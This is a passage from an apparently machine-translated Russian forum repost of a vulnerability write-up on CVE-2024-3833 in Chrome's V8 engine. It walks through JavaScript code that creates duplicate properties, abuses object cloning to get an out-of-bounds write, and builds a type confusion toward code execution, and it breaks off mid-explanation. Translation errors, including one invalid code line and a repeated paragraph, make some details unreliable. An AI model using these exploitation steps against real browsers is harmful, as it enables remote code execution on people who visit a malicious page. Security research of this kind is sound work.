Атака клонов: получение RCE в рендерере Chrome используя дублирующиеся свойства объектов

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этом посте я буду эксплуатировать CVE-2024-3833, баг вызывающий ошибку повреждения объекта в v8, движка Javascript Chrome, о которой я сообщил в марте 2024 года как об Bug 331383939. Также сообщалось об аналогичном баге, 331358160, которому присвоен CVE-2024-3832. Оба этих бага были исправлены в версии 124.0.6367.60 / .61. CVE-2024-3833 разрешает RCE в изолированной среде рендеринга Chrome при однократном посещении вредоносного сайта.

Пробные версии Origin в Chrome
Новые функции в Chrome иногда внедряются в виде пробных версий функций, прежде чем они станут доступны в целом. Когда функция предлагается в качестве пробной версии origin (origin trials), веб-разработчики могут зарегистрировать свои origins в Chrome, что позволяет им использовать функцию на зарегистрированном origin. Это позволяет веб-разработчикам тестировать новую функцию на своем веб-сайте и оставлять отзывы в Chrome, при этом функция остается отключенной на веб-сайтах, которые не запрашивали ее использование. Пробные версии Origin активны ограниченное время, и любой желающий может зарегистрировать свой origin, чтобы использовать функцию из списка активных пробных версий. Регистрируя origin, разработчик получает пробный токен origin, который он может включить на свой веб-сайт, добавив мета-тег: <meta http-equiv="origin-trial" content="TOKEN">.

Старая ошибка
Обычно функции origin trials включаются перед запуском любого пользовательского Javascript. Это, однако, не всегда верно. Веб-страница может в любое время программно создать мета-тег, содержащий пробный токен, и Javascript может быть выполнен до создания тега. В некоторых случаях код, ответственный за включение конкретной функции пробной версии origin, ошибочно предполагает, что ни один пользовательский Javascript не запускался до нее, что может привести к проблемам безопасности.

Одним из примеров был CVE-2021-30561, о котором сообщил Сергей Глазунов из Google Project Zero. В этом случае функция обработки исключений WebAssembly создала бы Exception свойство в объекте Javascript WebAssembly при обнаружении пробного токена origin.

Код: Скопировать в буфер обмена
Код:
let exception = WebAssembly.Exception; //<---- необозначено
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<---- активация origin
...
exception = WebAssembly.Exception; //<---- свойство создано

В частности, код, создающий Exception свойство, использует внутреннюю функцию для создания этого свойства, которое предполагает, что Exception свойство не существует в WebAssembly объекте. Если пользователь создал Exception свойство до активации пробной версии, то Chrome попытается создать другое Exception свойство в WebAssembly. Это может привести к появлению двух дублирующихся Exception свойств в WebAssembly с разными значениями. Затем это может быть использовано для создания путаницы типов в Exception свойстве, которая затем может быть использована для получения RCE.

Код: Скопировать в буфер обмена
Код:
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<---- создание дублирующего Exception свойства
...

То, что на самом деле происходит с CVE-2021-30561, сложнее, потому что код, который включает функцию обработки исключений WebAssembly, проверяет, чтобы убедиться, что WebAssembly объект еще не содержит свойство с именем Exception. Однако используемая там проверка недостаточна и обходится в CVE-2021-30561 с помощью объекта Javascript Proxy. Для получения подробной информации о том, как работает этот обход и эксплойт, я отсылаю читателей к оригинальному тикету о баге, который содержит все подробности.

Еще один день, еще один обход
Интеграция Javascript Promise - это функция веб-сборки, которая в настоящее время находится в пробной версии origin (до 29 октября 2024 года). Аналогично функции обработки исключений WebAssembly, она определяет свойства WebAssembly объекта при обнаружении исходного пробного токена путем вызова InstallConditionalFeatures:

Код: Скопировать в буфер обмена
Код:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
   ...
  // Установка JSPI-related функций.
  if (isolate->IsWasmJSPIEnabled(context)) {
    Handle suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)  //<--- 1.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // Установка функции отражения типа Wasm (если это еще не сделано).
    Handle function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)   //<--- 2.
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

При добавлении Javascript Promise Integration (JSPI) приведенный выше код проверяет, есть ли у webassembly уже свойства Suspender и Function (1. и 2. в приведенном выше коде), если нет, он создаст эти свойства с помощью InstallSuspenderConstructor и InstallTypeReflection соответственно. Функция InstallSuspenderConstructor используется InstallConstructorFunc для создания Suspender свойства для WebAssembly объекта:

Код: Скопировать в буфер обмена
Код:
void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);  //<--- 3.
  Handle suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  ...
}

Проблема в том, что в InstallSuspenderConstructor, WebAssembly объект происходит из wasm_webassembly_object свойства context (3. в приведенном выше коде), в то время как WebAssembly объект, который проверяется в InstallConditionalFeatures, происходит из свойства WebAssembly глобального объекта (который совпадает с глобальной WebAssembly переменной):

Код: Скопировать в буфер обмена
Код:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
  Handle global = handle(context->global_object(), isolate);
// Если каким-нибудь фаззером сделать глобальный объект нерасширяемым, тогда
// мы не сможем установить какие-либо функции (и попытка установить их приведет к сбою CHECK).
  if (!global->map()->is_extensible()) return;

  MaybeHandle maybe_wasm =
      JSReceiver::GetProperty(isolate, global, "WebAssembly");

Глобальная переменная WebAssembly может быть изменена на любой пользовательский объект с помощью Javascript:
Код: Скопировать в буфер обмена
WebAssembly = {};

Хотя это и меняет значение WebAssembly, На wasm_webassembly_object кэшированное в context это не влияет. Таким образом, можно сначала определить Suspender свойство для WebAssembly объекта, затем присвоить WebAssembly переменную другого объекта, а затем активировать Javascript Promise Integration пробную версию origin для создания дубликата Suspender в исходном WebAssembly объекте:

Код: Скопировать в буфер обмена
Код:
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//держим оригинальный WebAssembly объект в oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Активируем Origin
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<---- создаем дубликат Suspender в oldWebAssembly
%DebugPrint(oldWebAssembly);

При запуске пробной версии origin InstallConditionalFeatures сначала проверяет, что Suspender свойство отсутствует в глобальной переменной WebAssembly (которая и есть newWebAssembly в приведенном выше примере). Затем он переходит к созданию Suspender свойства в context->wasm_webassembly_object (которое есть oldWebAssembly в приведенном выше примере). При этом создается дублирующее Suspender свойство в oldWebAssembly, очень похожее на то, что произошло в CVE-2021-30561.

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x2d5b00387061  [DictionaryProperties]
 - prototype: 0x2d5b003043e9
 - elements: 0x2d5b000006f5  [HOLEY_ELEMENTS]
 - properties: 0x2d5b0034a8fd
 - All own properties (excluding elements): {
   ...
   Suspender: 0x2d5b0039422d  (data, dict_index: 20, attrs: [W_C])
   ...
   Suspender: 1 (data, dict_index: 19, attrs: [WEC])

Это приводит к тому, что у oldWebAssembly есть 2 Suspender свойства, которые хранятся с разными смещениями. Я сообщил об этой проблеме как о 331358160, и ей был присвоен CVE-2024-3832.

Функция InstallTypeReflection сталкивается с аналогичной проблемой, но имеет некоторые дополнительные проблемы:

Код: Скопировать в буфер обмена
Код:
void WasmJs::InstallTypeReflection(Isolate* isolate,
                                   Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name) \
  handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
  ...
  InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type",  //<--- 1.
              WebAssemblyTableType, 0, false, NONE,
              SideEffectType::kHasNoSideEffect);
  ...
#undef INSTANCE_PROTO_HANDLE
}

Функция InstallTypeReflection также определяет type свойство в различных других объектах. Например, в 1. свойство type создается в prototype объекте wasm_tag_constructor, не проверяя, существовало ли это свойство уже:

Код: Скопировать в буфер обмена
Код:
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<--– дубликат свойство type становится x

Затем это позволяет создавать дублирующиеся type свойства на WebAssembly.Tag.prototype. Об этой проблеме сообщалось как 331383939 и ей был присвоен CVE-2024-3833.

Новый эксплойт
Эксплойт для CVE-2021-30561 основан на создании дублирующихся свойств “быстрых объектов”. В версии 8 быстрые объекты хранят свои свойства в массиве (некоторые свойства также хранятся внутри самого объекта). Однако с тех пор появились патч, который проверяет наличие дубликатов при добавлении свойств к быстрому объекту. Таким образом, создание быстрых объектов с дублирующимися свойствами больше невозможно.

Однако по-прежнему возможно использовать баг для создания дублирующихся свойств в “объектах словаря”. В версии 8 словари свойств реализованы как NameDictionary. Базовое хранилище в NameDictionary реализовано в виде массива, каждый элемент которого представляет собой кортеж вида (Key, Value, Attribute), где Key - имя свойства. При добавлении свойства в NameDictionary следующая свободная запись в массиве используется для хранения этого нового кортежа. Из-за ошибки стало возможным создавать разные записи в словаре свойств с дубликатом Key. В репорте CVE-2023-2935 Сергей Глазунов показал, как использовать примитив duplicate property для объектов словаря. Это, однако, зависит от возможности создания дублирующего свойства в качестве AccessorInfo свойства, которое является особым видом свойства в версии 8, которое обычно зарезервировано для встроенных объектов. В текущем случае это, опять же, невозможно. Итак, мне нужно найти новый способ использовать эту проблему.

Идея состоит в том, чтобы искать некоторые внутренние функции или оптимизации, которые будут проходить через все свойства объекта, но не ожидать, что свойства будут дублироваться. Одна из таких оптимизаций, которая приходит на ум, - это клонирование объекта.

Атака клонов
При копировании объекта с использованием расширенного синтаксиса создается поверхностная копия исходного объекта:

Код: Скопировать в буфер обмена
const clonedObj = { ...obj1 };

В версии 8 это реализовано как байт-код CloneObject:

Код: Скопировать в буфер обмена
Код:
0x39b300042178 @    0 : 80 00 00 29       CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @   15 : 82 f7 29 05       CloneObject r2, #41, [5]

При первом запуске функции, содержащей байт-код, генерируется код inline кэша, который используется для обработки байт-кода в последующих вызовах. При обработке байт-кода код встроенного кэша также будет собирать информацию о входном объекте (obj1) и генерировать оптимизированные обработчики встроенного кэша для входных данных того же типа. При первом запуске встроенного кода кэша отсутствует информация о предыдущих входных объектах, и кэшированный обработчик недоступен. В результате обнаруживается ошибка встроенного кэша, которая CloneObjectIC_Miss используется для обработки байт-кода. Чтобы понять, как работает CloneObject в встроенном кэше и какое отношение он имеет к эксплойту, я напомню некоторые основы в разделе типов объектов и свойств в версии 8. Объекты Javascript в версии 8 хранят map поле, которое определяет тип объекта, и, в частности, оно определяет, как свойства хранятся в объекте:

Код: Скопировать в буфер обмена
Код:
x = { a : 1};
x.b = 1;
%DebugPrint(x);

Результат %DebugPrint выглядит следующим образом:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
 - map: 0x1c870011afb1  [FastProperties]
 ...
 - properties: 0x1c870020b161
 - All own properties (excluding elements): {
    0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }

Мы видим, что x имеет два свойства — одно хранится в объекте (a), а другое - в PropertyArray. Обратите внимание, что длина PropertyArray равна 3 (PropertyArray[3]), в то время как в PropertyArray хранится только одно свойство. Значение length Возможности в PropertyArray аналогичны возможностям a std::vector в C ++. Наличие немного большей емкости позволяет избежать необходимости расширять и перераспределять PropertyArray каждый раз, когда к объекту добавляется новое свойство.

В map объекте используются поля inobject_properties и unused_property_fields, чтобы указать, сколько свойств хранится в объекте и сколько места в нем осталось PropertyArray. В этом случае у нас есть 2 свободные места (3 (PropertyArray length) - 1 (property in the array) = 2).

Код: Скопировать в буфер обмена
Код:
0x1c870011afb1: [Map] in OldSpace
 - map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 2
...

Когда происходит ошибка в кэше, CloneObjectIC_Miss сначала пытается определить, может ли результат клонирования (target) использовать ту же карту, что и исходный объект (source), исследуя map source объект с помощью GetCloneModeForMap (1. в следующем):

Код: Скопировать в буфер обмена
Код:
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(4, args.length());
  Handle source = args.at(0);
  int flags = args.smi_value_at(1);

  if (!MigrateDeprecated(isolate, source)) {
        ...
        FastCloneObjectMode clone_mode =
            GetCloneModeForMap(source_map, flags, isolate);  //<--- 1.
        switch (clone_mode) {
          case FastCloneObjectMode::kIdenticalMap: {
            ...
          }
          case FastCloneObjectMode::kEmptyObject: {
            ...
          }
          case FastCloneObjectMode::kDifferentMap: {
            ...
          }
          ...
        }
     ...
  }
  ...
}

Для нас важен случай с FastCloneObjectMode::kDifferentMap режимом.

Код: Скопировать в буфер обмена
Код:
case FastCloneObjectMode::kDifferentMap: {
  Handle res;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, res, CloneObjectSlowPath(isolate, source, flags));   //<----- 1.
  Handle result_map(Handle::cast(res)->map(),
                         isolate);
  if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                          isolate)) {
    ...
    nexus.ConfigureCloneObject(source_map,                          //<----- 2.
                               MaybeObjectHandle(result_map));
...

В этом режиме сначала создается поверхностная копия source объекта по медленному пути (1. в приведенном выше). Затем обработчик встроенного кэша кодируется в виде пары карт, состоящих из карты для source и target объектов соответственно (2. в приведенном выше примере).

Отныне, если клонируется другой объект с source_map, для клонирования объекта используется встроенный обработчик кэша. По сути, source объект копируется следующим образом:

1. Создается копия PropertyArray для source объекта:

Код: Скопировать в буфер обмена
Код:
TNode source_property_array = CAST(source_properties);

      TNode length = LoadPropertyArrayLength(source_property_array);
      GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);

      TNode property_array = AllocatePropertyArray(length);
      FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
      CopyPropertyArrayValues(source_property_array, property_array, length,
                              SKIP_WRITE_BARRIER, DestroySource::kNo);
      var_properties = property_array;

2. Выделяется целевой объект и используется result_map в качестве его значения map.

Код: Скопировать в буфер обмена
Код:
TNode object = UncheckedCast(AllocateJSObjectFromMap(
        result_map.value(), var_properties.value(), var_elements.value(),
        AllocationFlag::kNone,
        SlackTrackingMode::kDontInitializeInObjectProperties));

3. Копируются свойства внутри объекта из source в target.

Код: Скопировать в буфер обмена
Код:
BuildFastLoop(
        result_start, result_size,
        [=](TNode field_index) {
          ...
          StoreObjectFieldNoWriteBarrier(object, result_offset, field);
        },
        1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);

Что произойдет, если я попытаюсь клонировать объект с дублирующимся свойством? При первом запуске кода CloneObjectSlowPath вызывается выделение target объекта, а затем копирование каждого свойства из source в target. Однако код в CloneObjectSlowPath обрабатывает дублирующиеся свойства должным образом, поэтому при обнаружении дублирующегося свойства в source вместо создания дублирующегося свойства в target перезаписывается существующее свойство. Например, если мой source объект имеет следующий макет:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x38ea00397745  [FastProperties]
 ...
 - properties: 0x38ea00355e85
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (const data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (const data field 7), location: properties[3]

Который имеет PropertyArray со значением length 4, с дублированным type в качестве последнего свойства в PropertyArray. В значение target в результате клонирования этого объекта первое type свойство будет перезаписано:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea00356001
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

Обратите внимание, что у target есть PropertyArray из значения length 3, а также три свойства в PropertyArray (свойства #a4..#a6, которые есть location в properties), В частности, нет unused_property_fields в target объекте:

Код: Скопировать в буфер обмена
Код:
0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

Хотя это может выглядеть как неудача, поскольку дублированное свойство не передается на target объект, настоящая магия происходит, когда управление берет на себя встроенный обработчик кэша. Помните, что при клонировании с помощью встроенного обработчика кэша результирующий объект имеет то же самое, map что и target объект из CloneObjectSlowPath, в то время как PropertyArray является копией PropertyArray source объекта. Это означает, что клон target из встроенного обработчика кэша имеет следующий вид свойств:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea003565b1
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]

Обратите внимание, что у него есть PropertyArray со значением length 4, но только три свойства в массиве, оставляя одно неиспользуемое свойство. Однако его map такой же, как тот, который используется CloneObjectSlowPath (0x38ea003978b9), который не имеет unused_property_fields:

Код: Скопировать в буфер обмена
Код:
0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

Итак, вместо получения объекта с дублирующимся свойством я получаю объект, который имеет несовместимый unused_property_fields и PropertyArray. Теперь, если я добавлю новое свойство к этому объекту, будет создано новое map, отражающее новый макет свойств объекта. Это новое map имеет unused_property_fields основанное на старом map, которое вычисляется в AccountAddedPropertyField. По сути, если старое значение unused_property_fields положительное, это уменьшает значение unused_property_fields на единицу, чтобы учесть добавляемое новое свойство. И если старое значение unused_property_fields равно нулю, то новому unused_property_fields присваивается значение два, учитывая тот факт, что PropertyArray заполнено и должно быть расширено.

С другой стороны, решение о расширении PropertyArray основано на его значение length, а не на unused_property_fields в map:

Итак, если у меня есть объект, у которого есть ноль, unused_property_fields но в PropertyArray котором остался пробел, (то есть length = existing_property_number + 1) тогда PropertyArray не будет расширен, когда я добавлю новое свойство. Итак, после добавления нового свойства PropertyArray будет полным. Однако, как упоминалось ранее, unused_property_fields обновляется независимо и ему будет присвоено значение two, как если бы PropertyArray было расширено:

Код: Скопировать в буфер обмена
Код:
void MigrateFastToFast(Isolate* isolate, Handle object,
                       Handle new_map) {
    ...
// Проверяем, есть ли у нас место в {object}, в этом случае мы можем просто установить map (за исключением особых //случаев для изменяемых контейнеров с двойной точностью).
    FieldIndex index = FieldIndex::ForDetails(*new_map, details);
    if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
      ...
      object->set_map(*new_map, kReleaseStore);
      return;
    }
// Эта миграция представляет собой переход от map в которой закончилась память для свойств.
//Расширяем хранилище.

    int grow_by = new_map->UnusedPropertyFields() + 1;
    ...

Итак, если у меня есть объект, у которого есть ноль, unused_property_fields но в PropertyArray котором остался пробел, (то есть length = existing_property_number + 1) тогда PropertyArray не будет расширен, когда я добавлю новое свойство. Итак, после добавления нового свойства PropertyArray будет полным. Однако, как упоминалось ранее, unused_property_fields обновляется независимо и ему будет присвоено значение two, как если бы PropertyArray было расширено:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
 - map: 0x257500397749  [FastProperties]
 ...
 - properties: 0x2575003565b1
 - All own properties (excluding elements): {
    0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171  (data field 0), location: in-object
    0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
    0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
 }
0x257500397749: [Map] in OldSpace
 - map: 0x2575003034b1 <MetaMap (0x257500303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 2

Это важно, потому что JIT-компилятор TurboFan версии 8 использует unused_property_fields для решения, нужно ли расширять PropertyArray :

Код: Скопировать в буфер обмена
Код:
JSNativeContextSpecialization::BuildPropertyStore(
    Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
    Node* control, NameRef name, ZoneVector* if_exceptions,
    PropertyAccessInfo const& access_info, AccessMode access_mode) {
    ...
    if (transition_map.has_value()) {
 //Проверяем, нужно ли нам расширять хранилище резервных копий свойств с помощью этого переходного     //хранилища.
      ...
      if (original_map.UnusedPropertyFields() == 0) {
        DCHECK(!field_index.is_inobject());

        // Перераспределяем свойства {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);

Итак, добавив новые свойства к объекту с двумя unused_property_fields и полным PropertyArray через JIT, я смогу записывать в PropertyArray out-of-bounds (OOB) и перезаписывать все, что выделено после него.

Создание быстрого объекта с дублирующимися свойствами

Чтобы вызвать запись OOB PropertyArray, мне сначала нужно создать быстрый объект с дублирующимися свойствами. Как упоминалось ранее, патч ввел проверку на дубликаты при добавлении свойств к быстрому объекту, и поэтому я не могу создать быстрый объект с дублирующимися свойствами напрямую. Решение состоит в том, чтобы сначала создать объект словаря с дублирующимися свойствами, используя ошибку, а затем преобразовать объект в быстрый объект. Для этого я использую WebAssembly.Tag.prototype для запуска ошибки:

Код: Скопировать в буфер обмена
Код:
var x = WebAssembly.Tag.prototype;
x.type = {};
//удаление свойств приводит к появлению объекта словаря
delete x.constructor;
//Вызываем ошибку для создания дублирующего свойства type
...

Как только у меня будет объект словаря с дублирующимся свойством, я могу изменить его на быстрый объект с помощью MakePrototypesFast, который может быть запущен через доступ к свойству:

Код: Скопировать в буфер обмена
Код:
var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;

Создание x прототипа объекта y и затем доступ к свойству y, MakePrototypesFast вызывается для преобразования x в быстрый объект с дублирующимися свойствами. После этого я могу клонировать x, чтобы запустить запись OOB в PropertyArray.

Использование записи OOB в PropertyArray
Чтобы использовать запись OOB в PropertyArray, давайте сначала проверим и посмотрим, что выделяется после PropertyArray. Напомним, что PropertyArray выделяется во встроенном обработчике кэша. Из кода обработчика я вижу, что PropertyArray выделяется непосредственно перед тем, как будет выделен target объект:

Код: Скопировать в буфер обмена
Код:
void AccessorAssembler::GenerateCloneObjectIC() {
    ...
      TNode property_array = AllocatePropertyArray(length);  //<--- property_array выделенно
      ...
      var_properties = property_array;
    }

    Goto(&allocate_object);
    BIND(&allocate_object);
    ...
    TNode object = UncheckedCast(AllocateJSObjectFromMap(  //<--– целевой объект выделен
        result_map.value(), var_properties.value(), var_elements.value(),
        AllocationFlag::kNone,
        SlackTrackingMode::kDontInitializeInObjectProperties));

Поскольку версия 8 распределяет объекты линейно, запись OOB, следовательно, позволяет мне изменять внутренние поля target объекта. Чтобы использовать эту ошибку, я перезапишу второе поле target объекта, properties поле, в котором хранится адрес PropertyArray для target объекта. Это включает в себя создание JIT-функций для добавления двух свойств к target объекту.

Код: Скопировать в буфер обмена
Код:
a8 = {c : 1};
...
function transition_store(x) {
  x.a7 = 0x100;
}
function transition_store2(x) {
  x.a8 = a8;
}
... //JIT оптимизация transition_store и transition_store2
transition_store(obj);
//Заствляет объект a8 быть интерпретированным как значение PropertyArray у obj
transition_store2(obj);

При сохранении свойства a8 поврежденного объекта, obj который имеет несогласованные PropertyArray и unused_property_fields, запись OOB в PropertyArray перезапишет PropertyArray of obj объектом Javascript a8. Затем этим можно воспользоваться, тщательно расположив объекты в куче версии 8. Поскольку объекты распределяются в куче версии 8 линейно, кучу можно легко упорядочить, распределив объекты по порядку. Например, в следующем коде:

Код: Скопировать в буфер обмена
Код:
var a8 = {c : 1};
var a7 = [1,2];

Куча v8 вокруг объекта a8 выглядит следующим образом:
v-8-heap.png


В левой части показаны объекты a8 и a7. Поля map, properties, и elements являются внутренними полями в объектах C ++, которые соответствуют объектам Javascript. Правая сторона показывает представление памяти как PropertyArray of obj (когда для PropertyArray of obj задан адрес a8). У PropertyArray есть два внутренних поля, map и length. Когда объект a8 путает типизацию PropertyArray, его properties поле, которое является адресом его PropertyArray, интерпретируется как значение length из PropertyArray obj. Поскольку адрес обычно представляет собой большое число, это позволяет OOB дополнительно выполнять чтение и запись в PropertyArray of obj.

Свойство, ai+3 в PropertyArray, будет совпадать со значением length в поле Array a7. При написании этого свойства значения length из Array a7 можно перезаписать. Это позволяет мне добиться записи OOB в массив Javascript, который можно использовать стандартным способом. Однако, чтобы перезаписать length поле, я должен продолжать добавлять свойства в obj, пока не достигну length поля. Это, к сожалению, означает, что я также перезапишу поля map, properties и elements, что испортит Array a7.

Чтобы избежать перезаписи внутренних полей a7, я вместо этого создам a7 так, чтобы его PropertyArray выделялся перед ним. Этого можно достичь, создав a7 с помощью клонирования:

Код: Скопировать в буфер обмена
Код:
var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
  return {...x};
}
//запустите clone0(obj0) несколько раз для создания хэндлера inline кэша
...
var a8 = {c : 1};
//хэндлер inline кэша затем используется для создания a7
var a7 = clone0(obj0);

У объекта obj0 есть пять полей, причем последнее c4 хранится вPropertyArray:

Код: Скопировать в буфер обмена
Код:
DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]

При клонировании obj0 с использованием встроенного обработчика кэша в функции clone0 помните, что PropertyArray из target объекта (a7 в данном случае) выделяется первым, и, следовательно, PropertyArray из a7 будет выделен сразу после объекта a8, но до a7:

Код: Скопировать в буфер обмена
Код:
//адрес a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//Значение DebugPrint у a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
 - properties: 0x00ad0004a829
 - All own properties (excluding elements): {
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]
 }

Как мы можем видеть, адресом a8 является 0xad0004a7fd, в то время как адрес PropertyArray у a7 находится по адресу 0x00ad0004a829, а a7 находится по адресу 0xad0004a83d. Это приводит к следующему расположению памяти:

memory-layout.png



С помощью этого макета кучи я могу перезаписать свойство c4 из a7, записав в свойство из ai в obj, которое совпадает с c4. Хотя map и length из PropertyArray также будут перезаписаны, это, похоже, не повлияет на доступ к свойствам из a7. Затем я могу создать путаницу типов между Javascript Object и Array, используя оптимизированную загрузку свойств в JIT-компилятор.

Код: Скопировать в буфер обмена
Код:
function set_length(x) {
  x.c4.len = 1000;
}

Когда функция set_length оптимизируется с помощью a7 в качестве её input x, поскольку свойство c4 of a7 является объектом, имеющим константу map (оно есть всегда {len : 1}), map этого свойства сохраняется в map a7. JIT-компилятор использует эту информацию для оптимизации доступа к свойствам x.c4.len. Пока map x остается тем же, что и map a7, x.c4 будет иметь то же значение, что и map as {len : 1}, и, следовательно, к свойству len of x.c4 можно получить доступ, используя смещение памяти напрямую, без проверки map x.c4. Однако при использовании записи OOB в PropertyArray для изменения a7.c4 на double Array, corrupted_arr map a7 не изменится, и JIT-скомпилированный код для set_length будет обрабатывать a7.c4 так, как если бы он по-прежнему имел то же самое map, что и {len : 1} len, и записывать непосредственно в смещение памяти, соответствующее свойству len из a7.a4, Поскольку a7.c4 теперь это Array объект, corrupted_arr перезапишет length свойство на corrupted_arr, которое позволяет мне получать доступ corrupted_arr за его пределы. После получения доступа OOB к corrupted_arr получение произвольного доступа для чтения и записи в куче v8 довольно просто. По сути, это состоит 